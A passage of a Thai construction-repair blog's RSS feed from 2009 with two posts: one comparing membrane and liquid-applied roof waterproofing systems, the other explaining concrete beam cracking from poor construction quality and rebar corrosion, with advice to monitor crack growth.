		<comments>http://www.repconservice.com/blog/%e0%b8%a3%e0%b8%b0%e0%b8%9a%e0%b8%9a%e0%b8%81%e0%b8%b1%e0%b8%99%e0%b8%8b%e0%b8%b6%e0%b8%a1/%e0%b9%80%e0%b8%9b%e0%b8%a3%e0%b8%b5%e0%b8%a2%e0%b8%9a%e0%b9%80%e0%b8%97%e0%b8%b5%e0%b8%a2%e0%b8%9a%e0%b8%a3%e0%b8%b0%e0%b8%9a%e0%b8%9a%e0%b8%81%e0%b8%b1%e0%b8%99%e0%b8%8b%e0%b8%b6%e0%b8%a1#comments</comments>
		<pubDate>Mon, 16 Mar 2009 16:56:12 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[ระบบกันซึม]]></category>

		<category><![CDATA[กันซึม]]></category>

		<category><![CDATA[ซึม]]></category>

		<category><![CDATA[ระบบ]]></category>

		<guid isPermaLink="false">http://www.repconservice.com/blog/?p=88</guid>
		<description><![CDATA[ระบบกันซึมที่มีลักษณะเป็นแบบแผ่น หรือ Waterproofing Membrane system
ระบบนี้สามารถติดตั้งได้ง่ายบนพื้นที่ที่มีลักษณะเป็นที่โล่งและเป็นรูปทรงปกติเท่านั้น แต่จะต้องมีความหนาของแผ่นกันซึมที่แน่นอนชัดเจน โดยเฉพาะการเข้าไปทำ flashing บริเวณภายในท่อ หรือแม้แต่ส่วนของขาตั้ง
แต่ว่าระบบกันซึมแบบแผ่นนี้ทำได้ยากและต้องระมัดระวังเป็นพิเศษกับการติดตั้งใช้งาน เพราะในพื้นที่ที่มีข้อจำกัดหลายประการ เช่นพื้นที่ต้องการกันซึมแคบๆ หรือมีความสูงไม่มาก การยึดเกาะไม่ดี
อีกทั้งแผ่นกันซึมระบบนี้ไม่สามารถระบุจุดรั่วซึมของระบบได้อย่างชัดเจน โดยเฉพาะในส่วนของรอยต่อระหว่างแผ่นกันซึม จะมีโอกาสไปขวางทิศทางไหลของน้ำ ควรจะปรับระดับและเสริมแอ่งน้ำของระบบด้วยปูนทรายซึ่งมีโอกาศหลุดร่อนง่าย
ผิวหินเกล็ดมีโอกาศเกิดการอุดตัน roof drain ในกรณีฝนตกหนักทำให้เกิดน้ำรั่วซึมอย่างรุณแรง



ระบบกันซึมที่มีลักษณะเป็นแบบทา หรือ Waterproofing Liquid-applied system
สามารถทำการตติดตั้งระบบนี้ได้โดยง่ายบนหลังคาทุกรูปทรง ทุกรูปแบบ เช่นหลังแบบคาโดม หรือหลังคารูปทรงดาว และอื่นๆอีกมาก แต่จะต้องควบคุมปริมาณวัสดุและระบบที่ใช้ในการติดตั้งนี้
อย่างไรก็ตาม ยังสามารถทาวัสดุกันซึมรอบบริเวณท่อ และขาตั้งได้สะดวกกว่าระบบแรกหลายเท่าตัว อีกทั้งยังรองรับทำงานในพื้นที่ที่มีข้อจำกัดมากกว่าได้ดี แถมยังมีการยึดเกาะดี
แถมยังสามารถระบุจุดรั่วซึมของระบบและทำการซ่อมแซมระบบกันซึมเป็นเฉพาะจุดได้ ด้วยลักษณะพื้นผิวแบบที่เรียบสนิท ดูแล้วไม่มีรอยต่อให้เห็น
สามารถรองรับการปรับระดับและเสริมแอ่งกันซึมได้ด้วยวัสดุ Waterproofing Flintkote mastic ได้ดีและไม่หลุดล่อนง่าย ซึ่งเป็นคุณสมบัตินี้จะพิเศษกว่า มีเฉพาะของระบบกันซึม Waterproofing Flintkote BUR
Related Links
ระบบกันซึม

	Related posts
	
	การแก้ไขระบบกันซึม (0)
	วิธีการแก้ไขผนังรั่วซึม (0)
	ผนังรั่วซึม (0)
	การแก้ไขปัญหาผนังรั่วซึม (0)


]]></description>
			<content:encoded><![CDATA[<p><strong><a title="ระบบกันซึม" href="http://www.repconservice.com/waterproof-project5.html">ระบบกันซึม</a>ที่มีลักษณะเป็นแบบแผ่น หรือ <a href="http://www.repconservice.com/blog/tag/waterproofing" class="st_tag internal_tag" rel="tag" title="Posts tagged with Waterproofing">Waterproofing</a> Membrane system</strong><br />
<a title="ระบบกันซึม" href="http://www.repconservice.com/waterproof-project5.html">ระบบ</a>นี้สามารถติดตั้งได้ง่ายบนพื้นที่ที่มีลักษณะเป็นที่โล่งและเป็นรูปทรงปกติเท่านั้น แต่จะต้องมีความหนาของแผ่น<a title="ระบบกันซึม" href="http://www.repconservice.com/waterproof-project5.html">กันซึม</a>ที่แน่นอนชัดเจน โดยเฉพาะการเข้าไปทำ flashing บริเวณภายในท่อ หรือแม้แต่ส่วนของขาตั้ง<br />
แต่ว่า<a title="ระบบกันซึม" href="http://www.repconservice.com/waterproof-project5.html">ระบบกันซึม</a>แบบแผ่นนี้ทำได้ยากและต้องระมัดระวังเป็นพิเศษกับการติดตั้งใช้งาน เพราะในพื้นที่ที่มีข้อจำกัดหลายประการ เช่นพื้นที่ต้องการกันซึมแคบๆ หรือมีความสูงไม่มาก การยึดเกาะไม่ดี<br />
อีกทั้งแผ่นกันซึม<a title="ระบบกันซึม" href="http://www.repconservice.com/waterproof-project5.html">ระบบ</a>นี้ไม่สามารถระบุจุดรั่ว<a href="http://www.repconservice.com/waterproof-project5.html">ซึม</a>ของระบบได้อย่างชัดเจน โดยเฉพาะในส่วนของรอยต่อระหว่างแผ่นกันซึม จะมีโอกาสไปขวางทิศทางไหลของน้ำ ควรจะปรับระดับและเสริมแอ่งน้ำของระบบด้วยปูนทรายซึ่งมีโอกาศหลุดร่อนง่าย<br />
ผิวหินเกล็ดมีโอกาศเกิดการอุดตัน roof drain ในกรณีฝนตกหนักทำให้เกิดน้ำรั่ว<a title="ระบบกันซึม" href="http://www.repconservice.com/waterproof-project5.html">ซึม</a>อย่างรุณแรง</p>
<p><span id="more-88"></span></p>
<p style="text-align: center;"><object width="425" height="344" data="http://www.youtube.com/v/-MCajsCfksE&amp;hl=en&amp;fs=1&amp;rel=0" type="application/x-shockwave-flash"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/-MCajsCfksE&amp;hl=en&amp;fs=1&amp;rel=0" /><param name="allowfullscreen" value="true" /></object></p>
<p><strong></strong></p>
<p><strong>ระบบกันซึมที่มีลักษณะเป็นแบบทา หรือ <a href="http://www.repconservice.com/blog/tag/waterproofing" class="st_tag internal_tag" rel="tag" title="Posts tagged with Waterproofing">Waterproofing</a> Liquid-applied system</strong><br />
สามารถทำการตติดตั้ง<a title="ระบบกันซึม" href="http://www.repconservice.com/waterproof-project5.html">ระบบ</a>นี้ได้โดยง่ายบนหลังคาทุกรูปทรง ทุกรูปแบบ เช่นหลังแบบคาโดม หรือหลังคารูปทรงดาว และอื่นๆอีกมาก แต่จะต้องควบคุมปริมาณวัสดุและระบบที่ใช้ในการติดตั้งนี้<br />
อย่างไรก็ตาม ยังสามารถทาวัสดุกันซึมรอบบริเวณท่อ และขาตั้งได้สะดวกกว่าระบบแรกหลายเท่าตัว อีกทั้งยังรองรับทำงานในพื้นที่ที่มีข้อจำกัดมากกว่าได้ดี แถมยังมีการยึดเกาะดี<br />
แถมยังสามารถระบุจุดรั่ว<a title="ระบบกันซึม" href="http://www.repconservice.com/waterproof-project5.html">ซึม</a>ของระบบและทำการซ่อมแซม<a title="ระบบกันซึม" href="http://www.repconservice.com/waterproof-project5.html">ระบบกันซึม</a>เป็นเฉพาะจุดได้ ด้วยลักษณะพื้นผิวแบบที่เรียบสนิท ดูแล้วไม่มีรอยต่อให้เห็น<br />
สามารถรองรับการปรับระดับและเสริมแอ่งกันซึมได้ด้วยวัสดุ <a href="http://www.repconservice.com/blog/tag/waterproofing" class="st_tag internal_tag" rel="tag" title="Posts tagged with Waterproofing">Waterproofing</a> Flintkote mastic ได้ดีและไม่หลุดล่อนง่าย ซึ่งเป็นคุณสมบัตินี้จะพิเศษกว่า มีเฉพาะของ<a title="ระบบกันซึม" href="http://www.repconservice.com/waterproof-project5.html">ระบบกันซึม</a> <a href="http://www.repconservice.com/blog/tag/waterproofing" class="st_tag internal_tag" rel="tag" title="Posts tagged with Waterproofing">Waterproofing</a> Flintkote BUR</p>
<p><strong>Related Links<br />
</strong><span style="color: #b85b5a;"><a title="ระบบกันซึม" href="http://www.repconservice.com/waterproof-project5.html">ระบบกันซึม</a></span></p>

	<h4>Related posts</h4>
	<ul class="st-related-posts">
	<li><a href="http://www.repconservice.com/blog/%e0%b8%a3%e0%b8%b0%e0%b8%9a%e0%b8%9a%e0%b8%81%e0%b8%b1%e0%b8%99%e0%b8%8b%e0%b8%b6%e0%b8%a1/%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b9%81%e0%b8%81%e0%b9%89%e0%b9%84%e0%b8%82%e0%b8%a3%e0%b8%b0%e0%b8%9a%e0%b8%9a%e0%b8%81%e0%b8%b1%e0%b8%99%e0%b8%8b%e0%b8%b6%e0%b8%a1" title="การแก้ไขระบบกันซึม (March 21, 2009)">การแก้ไขระบบกันซึม</a> (0)</li>
	<li><a href="http://www.repconservice.com/blog/%e0%b8%9c%e0%b8%99%e0%b8%b1%e0%b8%87%e0%b8%a3%e0%b8%b1%e0%b9%88%e0%b8%a7%e0%b8%8b%e0%b8%b6%e0%b8%a1/%e0%b9%81%e0%b8%81%e0%b9%89%e0%b9%84%e0%b8%82%e0%b8%9c%e0%b8%99%e0%b8%b1%e0%b8%87%e0%b8%a3%e0%b8%b1%e0%b9%88%e0%b8%a7%e0%b8%8b%e0%b8%b6%e0%b8%a1" title="วิธีการแก้ไขผนังรั่วซึม (March 16, 2009)">วิธีการแก้ไขผนังรั่วซึม</a> (0)</li>
	<li><a href="http://www.repconservice.com/blog/%e0%b8%9c%e0%b8%99%e0%b8%b1%e0%b8%87%e0%b8%a3%e0%b8%b1%e0%b9%88%e0%b8%a7%e0%b8%8b%e0%b8%b6%e0%b8%a1/%e0%b8%9c%e0%b8%99%e0%b8%b1%e0%b8%87%e0%b8%a3%e0%b8%b1%e0%b9%88%e0%b8%a7%e0%b8%8b%e0%b8%b6%e0%b8%a1" title="ผนังรั่วซึม (March 16, 2009)">ผนังรั่วซึม</a> (0)</li>
	<li><a href="http://www.repconservice.com/blog/%e0%b8%9c%e0%b8%99%e0%b8%b1%e0%b8%87%e0%b8%a3%e0%b8%b1%e0%b9%88%e0%b8%a7%e0%b8%8b%e0%b8%b6%e0%b8%a1/%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b9%81%e0%b8%81%e0%b9%89%e0%b9%84%e0%b8%82%e0%b8%9b%e0%b8%b1%e0%b8%8d%e0%b8%ab%e0%b8%b2%e0%b8%81%e0%b8%b3%e0%b9%81%e0%b8%9e%e0%b8%87%e0%b8%a3%e0%b8%b1%e0%b9%88%e0%b8%a7" title="การแก้ไขปัญหาผนังรั่วซึม (March 16, 2009)">การแก้ไขปัญหาผนังรั่วซึม</a> (0)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://www.repconservice.com/blog/%e0%b8%a3%e0%b8%b0%e0%b8%9a%e0%b8%9a%e0%b8%81%e0%b8%b1%e0%b8%99%e0%b8%8b%e0%b8%b6%e0%b8%a1/%e0%b9%80%e0%b8%9b%e0%b8%a3%e0%b8%b5%e0%b8%a2%e0%b8%9a%e0%b9%80%e0%b8%97%e0%b8%b5%e0%b8%a2%e0%b8%9a%e0%b8%a3%e0%b8%b0%e0%b8%9a%e0%b8%9a%e0%b8%81%e0%b8%b1%e0%b8%99%e0%b8%8b%e0%b8%b6%e0%b8%a1/feed</wfw:commentRss>
		</item>
		<item>
		<title>รอยร้าวคอนกรีตคุณภาพต่ำ</title>
		<link>http://www.repconservice.com/blog/%e0%b8%a3%e0%b8%ad%e0%b8%a2%e0%b8%a3%e0%b9%89%e0%b8%b2%e0%b8%a7%e0%b8%84%e0%b8%ad%e0%b8%99%e0%b8%81%e0%b8%a3%e0%b8%b5%e0%b8%95/%e0%b8%a3%e0%b8%ad%e0%b8%a2%e0%b8%a3%e0%b9%89%e0%b8%b2%e0%b8%a7%e0%b8%84%e0%b8%ad%e0%b8%99%e0%b8%81%e0%b8%a3%e0%b8%b5%e0%b8%95%e0%b8%95%e0%b9%88%e0%b8%b3</link>
		<comments>http://www.repconservice.com/blog/%e0%b8%a3%e0%b8%ad%e0%b8%a2%e0%b8%a3%e0%b9%89%e0%b8%b2%e0%b8%a7%e0%b8%84%e0%b8%ad%e0%b8%99%e0%b8%81%e0%b8%a3%e0%b8%b5%e0%b8%95/%e0%b8%a3%e0%b8%ad%e0%b8%a2%e0%b8%a3%e0%b9%89%e0%b8%b2%e0%b8%a7%e0%b8%84%e0%b8%ad%e0%b8%99%e0%b8%81%e0%b8%a3%e0%b8%b5%e0%b8%95%e0%b8%95%e0%b9%88%e0%b8%b3#comments</comments>
		<pubDate>Mon, 16 Mar 2009 13:04:42 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[รอยร้าวคอนกรีต]]></category>

		<category><![CDATA[คอนกรีต]]></category>

		<category><![CDATA[รอย]]></category>

		<category><![CDATA[รอยร้าว]]></category>

		<guid isPermaLink="false">http://www.repconservice.com/blog/?p=77</guid>
		<description><![CDATA[รอยร้าวคอนกรีตที่เกิดขึ้นในคานเนื่องจากคุณภาพการก่อสร้างคอนกรีตต่ำ หรืออาจจะเกิดจากการกัดกร่อน ในบางครั้งคุณภาพการก่อสร้างคอนกรีตที่ไม่ดีอาจจะทำให้อายุโครงสร้างทั้งองค์สั้นลง และเกิดรอยร้าวขึ้นในอนาคตได้หลากหลายประเภท
แต่ทว่าโครงสร้างโดยรวมมักจะไม่พังทลายหรือวิบัติลงไปภายในระยะเวลาอันรวดเร็ว บางทีอาจใช้เวลาหลายปีกว่าจะเกิดความเสียหายขึ้นมาอย่างแท้จริง รอยร้าวประเภทแบบนี้มักพบได้มากในอาคาร ซึ่งมีการควบคุมการก่อสร้างไม่ดี
โดยเฉพาะอย่างยิ่ง หากเป็นอาคารในบริเวณแถบชายฝั่งใกล้ทะเลจะพบได้บ่อยมากขึ้น อันเนื่องมาจากปัญหาไอน้ำเค็มที่เป็นละอองมาจากทะเล ตรงนี้จะสามารถทำให้คอนกรีตเสื่อมคุณภาพได้เร็วขึ้นกว่าเดิมหลายเท่าตัว


และนอกจากนั้น ผลที่ตามมายังมีอกีมาก เช่น เหล็กที่อยู่ภายในคอนกรีตก็สามารถจะเป็นสนิมได้เร็วขึ้นเพราะน้ำทะเลเช่นกัน โดยรอยร้าวคอนกรีตอันเนื่องมาจากเหล็กเสริมภายในเป็นสนิม
กรณีที่เหล็กเสริมภายในมีเนื้อคอนกรีตหุ้มไว้อีกชั้น ก็ยังมีความหนาไม่เพียงพอ  หรือในกรณีที่เจอคอนกรีตเป็นรูโพรงนั้น เหล็กเสริมในคานคอนกรีตก็จะค่อยๆ เกิดสนิมขึ้นมาช้าๆ อันเนื่องจากปฏิกิริยาที่เรียกว่า &#8220;ออกซิเดชั่น&#8221; ซึ่งจะทำปฏิกิริยากับออกซิเจนในอากาศ
เหล็กที่เป็นสนิมก็จะขยายตัวเพิ่มปริมานมากขึ้นเรื่อยๆ จนดันให้เนื้อของคอนกรีตด้านนอกเกิดอาการแตกร้าวได้ ซึ่งส่วนใหญ่นั้น รอยร้าวที่มักพบจะเป็นรอยร้าวในแนวตรงราบยาวไปตามตำแหน่งคอนกรีตของเหล็กเสริม
ซึ่งรอยร้าวที่พบเห็นก่อนมักเป็นรอยร้าวบริเวณใต้คอนกรีต หรือขอบด้านล่างของคอนกรีต

ปัญหาที่มาจากรอยร้าวเนื่องจากคอนกรีตคุณภาพต่ำนั้น ส่วนมากคอนกรีตที่มีคุณภาพต่ำ มักจะมีกำลังอัดหรือความแข็งแรงในตัวต่ำ อาจทำให้เกิดรอยร้าวในคอนกรีตได้หลากหลายรูปแบบไม่แน่นอน  แต่ที่พบมากที่สุดจะเป็นประเภทคอนกรีตแตกร้าวที่มีรอยอย่างชัดเจน
หรือเป็นรอยหลุดร่อนจากคานคอนกรีตเห็นชัดเจรเป็นก้อนๆ เป็นรอยจุดๆ ไม่แน่นอนสม่ำเสมอ ตามแต่ว่าบริเวณใดของรอยร้าวคอนกรีตจะมีคุณภาพต่ำกว่ากัน ในส่วนของการตรวจสอบรอยร้าวที่กล่าวมาข้างต้นนั้น เป็นเพียงการตรวจสอบเบื้องต้นด้วยสายตาเปล่าเท่านั้น
หากพบว่าคานคอนกรีตที่มีรอยร้าวที่มีลักษณะตามดังอธิบายไปข้างต้นก่อนหน้านี้นั้น ก็ควรใช้ดินสอทำเครื่องหมายง่ายๆ และเขียนวันที่กำกับไว้ที่จุดเริ่มต้นและตรงจุดสิ้นสุดของรอยร้าว และตรวจทุกสัปดาห์ว่ารอยร้าวมีความยาวเพิ่มขึ้นมาอีกหรือไม่
ถ้ามีเพิ่มขึ้นมาอีกก็ให้ทำเครื่องหมายพร้อมกับเขียนวันที่กำกับเพิ่มเติมลงไว้ทุกครั้ง หากพบว่ารอยร้าวคอนกรีตมีขนาดและจำนวนเพิ่มขึ้นในอัตราก้าวหน้าก้าวกระโดด เรียกได้ว่ามากขึ้นหรือยาวขึ้นกว่าสัปดาห์ก่อนหน้านี้ที่ทำการตรวจสอบ
โดยไม่มีอาการหรือทีท่าว่ารอยร้าวคอนกรีตนั้นจะหยุด  ก็ควรที่จะหาผู้เชี่ยวชาญหรือวิศวกรโยธาเพื่อให้มาตรวจสอบสภาพความมั่นคงแข็งแรง ซึ่งวิศวกรจะมีวิธีการและรวมไปถึงอุปกรณ์เครื่องมือ  ที่สามารถวัดความเสียหายรอยร้าวคอนกรีตได้ละเอียดยิ่งขึ้นยิ่งขึ้น  อันจะทำให้สามารถแก้ปัญหารอยร้าวที่ต้นเหตุได้เป็นอย่างดีที่สุด
Related Links
รอยร้าวคอนกรีต

	Related posts
	
	รอยร้าวคอนกรีตจากแรงดัน แรงเฉือน แรงบิด (0)
	รอยร้าวคอนกรีต (0)
	ประเภทของรอยร้าวคอนกรีต (0)
	รอยร้าวคอนกรีต Crack Repair (0)
	Carbon Fiber คืออะไร [...]]]></description>
			<content:encoded><![CDATA[<p><a title="รอยร้าวคอนกรีต" href="http://www.repconservice.com/epoxy-injection.html">รอยร้าวคอนกรีต</a>ที่เกิดขึ้นในคานเนื่องจากคุณภาพการก่อสร้าง<a title="รอยร้าวคอนกรีต" href="http://www.repconservice.com/epoxy-injection.html">คอนกรีต</a>ต่ำ หรืออาจจะเกิดจากการกัดกร่อน ในบางครั้งคุณภาพการก่อสร้างคอนกรีตที่ไม่ดีอาจจะทำให้อายุโครงสร้างทั้งองค์สั้นลง และเกิด<a title="รอยร้าวคอนกรีต" href="http://www.repconservice.com/epoxy-injection.html">รอยร้าว</a>ขึ้นในอนาคตได้หลากหลายประเภท<br />
แต่ทว่าโครงสร้างโดยรวมมักจะไม่พังทลายหรือวิบัติลงไปภายในระยะเวลาอันรวดเร็ว บางทีอาจใช้เวลาหลายปีกว่าจะเกิดความเสียหายขึ้นมาอย่างแท้จริง <a title="รอยร้าวคอนกรีต" href="http://www.repconservice.com/epoxy-injection.html">รอยร้าว</a>ประเภทแบบนี้มักพบได้มากในอาคาร ซึ่งมีการควบคุมการก่อสร้างไม่ดี<br />
โดยเฉพาะอย่างยิ่ง หากเป็นอาคารในบริเวณแถบชายฝั่งใกล้ทะเลจะพบได้บ่อยมากขึ้น อันเนื่องมาจากปัญหาไอน้ำเค็มที่เป็นละอองมาจากทะเล ตรงนี้จะสามารถทำให้<a title="รอยร้าวคอนกรีต" href="http://www.repconservice.com/epoxy-injection.html">คอนกรีต</a>เสื่อมคุณภาพได้เร็วขึ้นกว่าเดิมหลายเท่าตัว</p>
<p style="text-align: center;"><img class="aligncenter" title="รอยร้าวคอนกรีต" src="http://archrecord.construction.com/resources/images/0601xypex5.jpg" alt="" width="300" height="223" /></p>
<p style="text-align: center;"><span id="more-77"></span></p>
<p>และนอกจากนั้น ผลที่ตามมายังมีอกีมาก เช่น เหล็กที่อยู่ภายใน<a title="รอยร้าวคอนกรีต" href="http://www.repconservice.com/epoxy-injection.html">คอนกรีต</a>ก็สามารถจะเป็นสนิมได้เร็วขึ้นเพราะน้ำทะเลเช่นกัน โดย<a title="รอยร้าวคอนกรีต" href="http://www.repconservice.com/epoxy-injection.html">รอยร้าวคอนกรีต</a>อันเนื่องมาจากเหล็กเสริมภายในเป็นสนิม<br />
กรณีที่เหล็กเสริมภายในมีเนื้อคอนกรีตหุ้มไว้อีกชั้น ก็ยังมีความหนาไม่เพียงพอ  หรือในกรณีที่เจอ<a title="รอยร้าวคอนกรีต" href="http://www.repconservice.com/epoxy-injection.html">คอนกรีต</a>เป็นรูโพรงนั้น เหล็กเสริมในคานคอนกรีตก็จะค่อยๆ เกิดสนิมขึ้นมาช้าๆ อันเนื่องจากปฏิกิริยาที่เรียกว่า &#8220;ออกซิเดชั่น&#8221; ซึ่งจะทำปฏิกิริยากับออกซิเจนในอากาศ<br />
เหล็กที่เป็นสนิมก็จะขยายตัวเพิ่มปริมานมากขึ้นเรื่อยๆ จนดันให้เนื้อของคอนกรีตด้านนอกเกิดอาการแตก<a title="รอยร้าวคอนกรีต" href="http://www.repconservice.com/epoxy-injection.html">ร้าว</a>ได้ ซึ่งส่วนใหญ่นั้น <a title="รอยร้าวคอนกรีต" href="http://www.repconservice.com/epoxy-injection.html">รอยร้าว</a>ที่มักพบจะเป็นรอยร้าวในแนวตรงราบยาวไปตามตำแหน่งคอนกรีตของเหล็กเสริม<br />
ซึ่ง<a title="รอยร้าวคอนกรีต" href="http://www.repconservice.com/epoxy-injection.html">รอย</a>ร้าวที่พบเห็นก่อนมักเป็นรอยร้าวบริเวณใต้คอนกรีต หรือขอบด้านล่างของ<a title="รอยร้าวคอนกรีต" href="http://www.repconservice.com/epoxy-injection.html">คอนกรีต</a></p>
<p style="text-align: center;"><object width="425" height="344" data="http://www.youtube.com/v/kXks9YMy9Ww&amp;hl=en&amp;fs=1&amp;rel=0" type="application/x-shockwave-flash"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/kXks9YMy9Ww&amp;hl=en&amp;fs=1&amp;rel=0" /><param name="allowfullscreen" value="true" /></object></p>
<p>ปัญหาที่มาจากรอยร้าวเนื่องจาก<a title="รอยร้าวคอนกรีต" href="http://www.repconservice.com/epoxy-injection.html">คอนกรีต</a>คุณภาพต่ำนั้น ส่วนมากคอนกรีตที่มีคุณภาพต่ำ มักจะมีกำลังอัดหรือความแข็งแรงในตัวต่ำ อาจทำให้เกิดรอยร้าวในคอนกรีตได้หลากหลายรูปแบบไม่แน่นอน  แต่ที่พบมากที่สุดจะเป็นประเภท<a title="รอยร้าวคอนกรีต" href="http://www.repconservice.com/epoxy-injection.html">คอนกรีต</a>แตกร้าวที่มีรอยอย่างชัดเจน<br />
หรือเป็นรอยหลุดร่อนจากคานคอนกรีตเห็นชัดเจรเป็นก้อนๆ เป็นรอยจุดๆ ไม่แน่นอนสม่ำเสมอ ตามแต่ว่าบริเวณใดของ<a title="รอยร้าวคอนกรีต" href="http://www.repconservice.com/epoxy-injection.html">รอยร้าวคอนกรีต</a>จะมีคุณภาพต่ำกว่ากัน ในส่วนของการตรวจสอบรอยร้าวที่กล่าวมาข้างต้นนั้น เป็นเพียงการตรวจสอบเบื้องต้นด้วยสายตาเปล่าเท่านั้น<br />
หากพบว่าคาน<a title="รอยร้าวคอนกรีต" href="http://www.repconservice.com/epoxy-injection.html">คอนกรีต</a>ที่มี<a title="รอยร้าวคอนกรีต" href="http://www.repconservice.com/epoxy-injection.html">รอยร้าว</a>ที่มีลักษณะตามดังอธิบายไปข้างต้นก่อนหน้านี้นั้น ก็ควรใช้ดินสอทำเครื่องหมายง่ายๆ และเขียนวันที่กำกับไว้ที่จุดเริ่มต้นและตรงจุดสิ้นสุดของรอยร้าว และตรวจทุกสัปดาห์ว่ารอยร้าวมีความยาวเพิ่มขึ้นมาอีกหรือไม่<br />
ถ้ามีเพิ่มขึ้นมาอีกก็ให้ทำเครื่องหมายพร้อมกับเขียนวันที่กำกับเพิ่มเติมลงไว้ทุกครั้ง หากพบว่า<a title="รอยร้าวคอนกรีต" href="http://www.repconservice.com/epoxy-injection.html">รอยร้าวคอนกรีต</a>มีขนาดและจำนวนเพิ่มขึ้นในอัตราก้าวหน้าก้าวกระโดด เรียกได้ว่ามากขึ้นหรือยาวขึ้นกว่าสัปดาห์ก่อนหน้านี้ที่ทำการตรวจสอบ<br />
โดยไม่มีอาการหรือทีท่าว่า<a title="รอยร้าวคอนกรีต" href="http://www.repconservice.com/epoxy-injection.html">รอยร้าวคอนกรีต</a>นั้นจะหยุด  ก็ควรที่จะหาผู้เชี่ยวชาญหรือวิศวกรโยธาเพื่อให้มาตรวจสอบสภาพความมั่นคงแข็งแรง ซึ่งวิศวกรจะมีวิธีการและรวมไปถึงอุปกรณ์เครื่องมือ  ที่สามารถวัดความเสียหาย<a title="รอยร้าวคอนกรีต" href="http://www.repconservice.com/epoxy-injection.html">รอยร้าวคอนกรีต</a>ได้ละเอียดยิ่งขึ้นยิ่งขึ้น  อันจะทำให้สามารถแก้ปัญหา<a title="รอยร้าวคอนกรีต" href="http://www.repconservice.com/epoxy-injection.html">รอยร้าว</a>ที่ต้นเหตุได้เป็นอย่างดีที่สุด</p>
<p><strong>Related Links<br />
</strong><a title="รอยร้าวคอนกรีต" href="http://www.repconservice.com/epoxy-injection.html"><span style="color: #b85b5a;">รอยร้าวคอนกรีต</span></a></p>

	<h4>Related posts</h4>
	<ul class="st-related-posts">
	<li><a href="http://www.repconservice.com/blog/%e0%b8%a3%e0%b8%ad%e0%b8%a2%e0%b8%a3%e0%b9%89%e0%b8%b2%e0%b8%a7%e0%b8%84%e0%b8%ad%e0%b8%99%e0%b8%81%e0%b8%a3%e0%b8%b5%e0%b8%95/%e0%b9%81%e0%b8%a3%e0%b8%87%e0%b9%80%e0%b8%81%e0%b8%b4%e0%b8%94%e0%b8%a3%e0%b8%ad%e0%b8%a2%e0%b8%a3%e0%b9%89%e0%b8%b2%e0%b8%a7%e0%b8%84%e0%b8%ad%e0%b8%99%e0%b8%81%e0%b8%a3%e0%b8%b5%e0%b8%95" title="รอยร้าวคอนกรีตจากแรงดัน แรงเฉือน แรงบิด (March 16, 2009)">รอยร้าวคอนกรีตจากแรงดัน แรงเฉือน แรงบิด</a> (0)</li>
	<li><a href="http://www.repconservice.com/blog/%e0%b8%a3%e0%b8%ad%e0%b8%a2%e0%b8%a3%e0%b9%89%e0%b8%b2%e0%b8%a7%e0%b8%84%e0%b8%ad%e0%b8%99%e0%b8%81%e0%b8%a3%e0%b8%b5%e0%b8%95/%e0%b8%a3%e0%b8%ad%e0%b8%a2%e0%b8%a3%e0%b9%89%e0%b8%b2%e0%b8%a7%e0%b8%84%e0%b8%ad%e0%b8%99%e0%b8%81%e0%b8%a3%e0%b8%b5%e0%b8%95" title="รอยร้าวคอนกรีต (March 16, 2009)">รอยร้าวคอนกรีต</a> (0)</li>
	<li><a href="http://www.repconservice.com/blog/%e0%b8%a3%e0%b8%ad%e0%b8%a2%e0%b8%a3%e0%b9%89%e0%b8%b2%e0%b8%a7%e0%b8%84%e0%b8%ad%e0%b8%99%e0%b8%81%e0%b8%a3%e0%b8%b5%e0%b8%95/%e0%b8%9b%e0%b8%a3%e0%b8%b0%e0%b9%80%e0%b8%a0%e0%b8%97%e0%b8%a3%e0%b8%ad%e0%b8%a2%e0%b8%a3%e0%b9%89%e0%b8%b2%e0%b8%a7%e0%b8%84%e0%b8%ad%e0%b8%99%e0%b8%81%e0%b8%a3%e0%b8%b5%e0%b8%95" title="ประเภทของรอยร้าวคอนกรีต (March 16, 2009)">ประเภทของรอยร้าวคอนกรีต</a> (0)</li>
	<li><a href="http://www.repconservice.com/blog/crack-repair/%e0%b8%a3%e0%b8%ad%e0%b8%a2%e0%b8%a3%e0%b9%89%e0%b8%b2%e0%b8%a7%e0%b8%84%e0%b8%ad%e0%b8%99%e0%b8%81%e0%b8%a3%e0%b8%b5%e0%b8%95-crack-repair" title="รอยร้าวคอนกรีต Crack Repair (March 25, 2009)">รอยร้าวคอนกรีต Crack Repair</a> (0)</li>
	<li><a href="http://www.repconservice.com/blog/carbon-fiber/carbon-fiber-%e0%b8%84%e0%b8%b7%e0%b8%ad%e0%b8%ad%e0%b8%b0%e0%b9%84%e0%b8%a3" title="Carbon Fiber คืออะไร (March 29, 2009)">Carbon Fiber คืออะไร</a> (0)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://www.repconservice.com/blog/%e0%b8%a3%e0%b8%ad%e0%b8%a2%e0%b8%a3%e0%b9%89%e0%b8%b2%e0%b8%a7%e0%b8%84%e0%b8%ad%e0%b8%99%e0%b8%81%e0%b8%a3%e0%b8%b5%e0%b8%95/%e0%b8%a3%e0%b8%ad%e0%b8%a2%e0%b8%a3%e0%b9%89%e0%b8%b2%e0%b8%a7%e0%b8%84%e0%b8%ad%e0%b8%99%e0%b8%81%e0%b8%a3%e0%b8%b5%e0%b8%95%e0%b8%95%e0%b9%88%e0%b8%b3/feed</wfw:commentRss>
		</item>
	</channel>
</rss>
